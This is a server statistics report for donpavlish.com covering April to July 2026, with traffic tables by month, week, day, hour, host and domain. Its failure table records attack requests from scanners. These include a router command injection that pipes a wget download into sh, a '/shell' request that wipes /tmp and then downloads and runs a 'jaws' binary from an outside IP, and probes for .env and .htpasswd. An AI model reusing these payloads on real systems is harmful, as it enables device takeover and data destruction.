Web Server Statistics for donpavlish.comProgram started at Sun-12-Jul-2026 00:03.
Analysed requests from Mon-13-Apr-2026 00:00 to Sat-11-Jul-2026 23:59 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 12-Jul-2026 00:03.
Successful requests: 12 (0)
Failed requests: 9,187 (383)
Redirected requests: 3,961,146 (94,734)
Distinct files requested: 2 (0)
Distinct hosts served: 12 (0)
Corrupt logfile lines: 2,196
Unwanted logfile entries: 8,722,787
Data transferred: 3.41 kilobytes (0 bytes)
Average data transferred per day: 38 bytes (0 bytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each month.
Each unit (
) represents 1 request for a page.
| month | reqs | pages | |
|---|---|---|---|
| May 2026 | 6 | 0 | |
| Jun 2026 | 5 | 0 | |
| Jul 2026 | 1 | 0 |
Busiest month: May 2026 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each week.
Each unit (
) represents 1 request for a page.
| week beg. | reqs | pages | |
|---|---|---|---|
| 3/May/26 | 3 | 0 | |
| 10/May/26 | 0 | 0 | |
| 17/May/26 | 2 | 0 | |
| 24/May/26 | 1 | 0 | |
| 31/May/26 | 2 | 0 | |
| 7/Jun/26 | 0 | 0 | |
| 14/Jun/26 | 2 | 0 | |
| 21/Jun/26 | 1 | 0 | |
| 28/Jun/26 | 1 | 0 |
Busiest week: week beginning 3/May/26 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each day.
Each unit (
) represents 1 request for a page.
| date | reqs | pages | |
|---|---|---|---|
| 23/May/26 | 0 | 0 | |
| 24/May/26 | 0 | 0 | |
| 25/May/26 | 0 | 0 | |
| 26/May/26 | 0 | 0 | |
| 27/May/26 | 0 | 0 | |
| 28/May/26 | 1 | 0 | |
| 29/May/26 | 0 | 0 | |
| 30/May/26 | 0 | 0 | |
| 31/May/26 | 0 | 0 | |
| 1/Jun/26 | 0 | 0 | |
| 2/Jun/26 | 0 | 0 | |
| 3/Jun/26 | 0 | 0 | |
| 4/Jun/26 | 0 | 0 | |
| 5/Jun/26 | 1 | 0 | |
| 6/Jun/26 | 1 | 0 | |
| 7/Jun/26 | 0 | 0 | |
| 8/Jun/26 | 0 | 0 | |
| 9/Jun/26 | 0 | 0 | |
| 10/Jun/26 | 0 | 0 | |
| 11/Jun/26 | 0 | 0 | |
| 12/Jun/26 | 0 | 0 | |
| 13/Jun/26 | 0 | 0 | |
| 14/Jun/26 | 1 | 0 | |
| 15/Jun/26 | 0 | 0 | |
| 16/Jun/26 | 0 | 0 | |
| 17/Jun/26 | 0 | 0 | |
| 18/Jun/26 | 0 | 0 | |
| 19/Jun/26 | 0 | 0 | |
| 20/Jun/26 | 1 | 0 | |
| 21/Jun/26 | 1 | 0 | |
| 22/Jun/26 | 0 | 0 | |
| 23/Jun/26 | 0 | 0 | |
| 24/Jun/26 | 0 | 0 | |
| 25/Jun/26 | 0 | 0 | |
| 26/Jun/26 | 0 | 0 | |
| 27/Jun/26 | 0 | 0 | |
| 28/Jun/26 | 0 | 0 | |
| 29/Jun/26 | 0 | 0 | |
| 30/Jun/26 | 0 | 0 | |
| 1/Jul/26 | 0 | 0 | |
| 2/Jul/26 | 0 | 0 | |
| 3/Jul/26 | 1 | 0 |
Busiest day: 3/May/26 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 1 request for a page.
| day | reqs | pages | |
|---|---|---|---|
| Sun | 4 | 0 | |
| Mon | 0 | 0 | |
| Tue | 0 | 0 | |
| Wed | 1 | 0 | |
| Thu | 2 | 0 | |
| Fri | 3 | 0 | |
| Sat | 2 | 0 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 1 request for a page.
| hour | reqs | pages | |
|---|---|---|---|
| 0 | 0 | 0 | |
| 1 | 1 | 0 | |
| 2 | 0 | 0 | |
| 3 | 1 | 0 | |
| 4 | 1 | 0 | |
| 5 | 0 | 0 | |
| 6 | 1 | 0 | |
| 7 | 1 | 0 | |
| 8 | 0 | 0 | |
| 9 | 0 | 0 | |
| 10 | 1 | 0 | |
| 11 | 0 | 0 | |
| 12 | 1 | 0 | |
| 13 | 0 | 0 | |
| 14 | 2 | 0 | |
| 15 | 1 | 0 | |
| 16 | 1 | 0 | |
| 17 | 0 | 0 | |
| 18 | 0 | 0 | |
| 19 | 0 | 0 | |
| 20 | 0 | 0 | |
| 21 | 1 | 0 | |
| 22 | 0 | 0 | |
| 23 | 0 | 0 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.
| reqs | %bytes | domain |
|---|---|---|
| 7 | 56.66% | .org (Non Profit Making Organisations) |
| 5 | 43.34% | .com (Commercial) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the organisations of the computers which requested files.

Listing organisations, sorted by the number of requests.
| reqs | %bytes | organisation |
|---|---|---|
| 7 | 56.66% | internet-census.org |
| 5 | 43.34% | amazonaws.com |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the computers which requested files.

Listing hosts, sorted alphabetically.
| reqs | %bytes | host |
|---|---|---|
| 1 | 8.67% | ec2-108-130-163-212.eu-west-1.compute.amazonaws.com |
| 1 | 8.67% | ec2-3-250-64-142.eu-west-1.compute.amazonaws.com |
| 1 | 8.67% | ec2-52-48-214-67.eu-west-1.compute.amazonaws.com |
| 1 | 8.67% | ec2-54-195-91-64.eu-west-1.compute.amazonaws.com |
| 1 | 8.67% | ec2-54-216-44-251.eu-west-1.compute.amazonaws.com |
| 1 | 8.09% | sh-ams-nl-gp6-wk131c.internet-census.org |
| 1 | 8.09% | sh-chi-us-gp6-wk101a.internet-census.org |
| 1 | 8.09% | sh-chi-us-gp6-wk111a.internet-census.org |
| 1 | 8.09% | sh-chi-us-gp6-wk134c.internet-census.org |
| 1 | 8.09% | sh-chi-us-gp6-wk134d.internet-census.org |
| 1 | 8.09% | zl-dala-us-gp6-wk135c.internet-census.org |
| 1 | 8.09% | zl-laxk-us-gp1-wk148a.internet-census.org |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the vendors of visitors' browsers.
Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
| no. | reqs | pages | browser |
|---|---|---|---|
| 12 | 0 | [not listed: 2 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
| no. | reqs | pages | OS |
|---|---|---|---|
| 1 | 12 | 0 | OS unknown |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the files that caused failures, for example files not found.

Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
| reqs | file |
|---|---|
| 4209 | /x16/x03/x01 |
| 572 | /SDK/webLanguage |
| 566 | / |
| 494 | /cgi-bin/luci/ |
| 56 | /cgi-bin/luci/?form=country&operation=write&country=$(wget http://0.0.0.0/router.tplink.sh -O-|sh) |
| 286 | /x16/x03/x01/x05/xa8/x01 |
| 250 | /bin/sh |
| 242 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
| 154 | /x16/x03/x02/x01o/x01 |
| 144 | /x03 |
| 139 | * |
| 105 | /n |
| 100 | /x16/x03/x01/x02 |
| 96 | /x16/x03/x03/x01/xa4/x01 |
| 92 | /x16/x03/x01/x01/xa6/x01 |
| 78 | /cgi-bin/index.php |
| 54 | MGLNDD_66.39.11.85_80/n |
| 53 | /x16/x03/x01/x01 |
| 46 | /x16/x03/x03/x01G/x01 |
| 46 | /x16/x03/x03/x01/x98/x01 |
| 46 | /x16/x03/x01/x01/x9c/x01 |
| 46 | /x16/x03/x02/x01/x99/x01 |
| 46 | /x16/x03/x03/x01U/x01 |
| 46 | /x16/x03/x01/x01/xb3/x01 |
| 45 | /.htpasswd |
| 41 | /x16/x03/x01/x01/x0c/x01 |
| 40 | /shell |
| 36 | /shell?cd+/tmp;rm+-rf+*;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; |
| 38 | /x16/x03 |
| 38 | /cgi-bin/authLogin.cgi |
| 33 | /.env |
| 28 | /cgi-bin/admin.php |
| 798 | [not listed: 218 files] |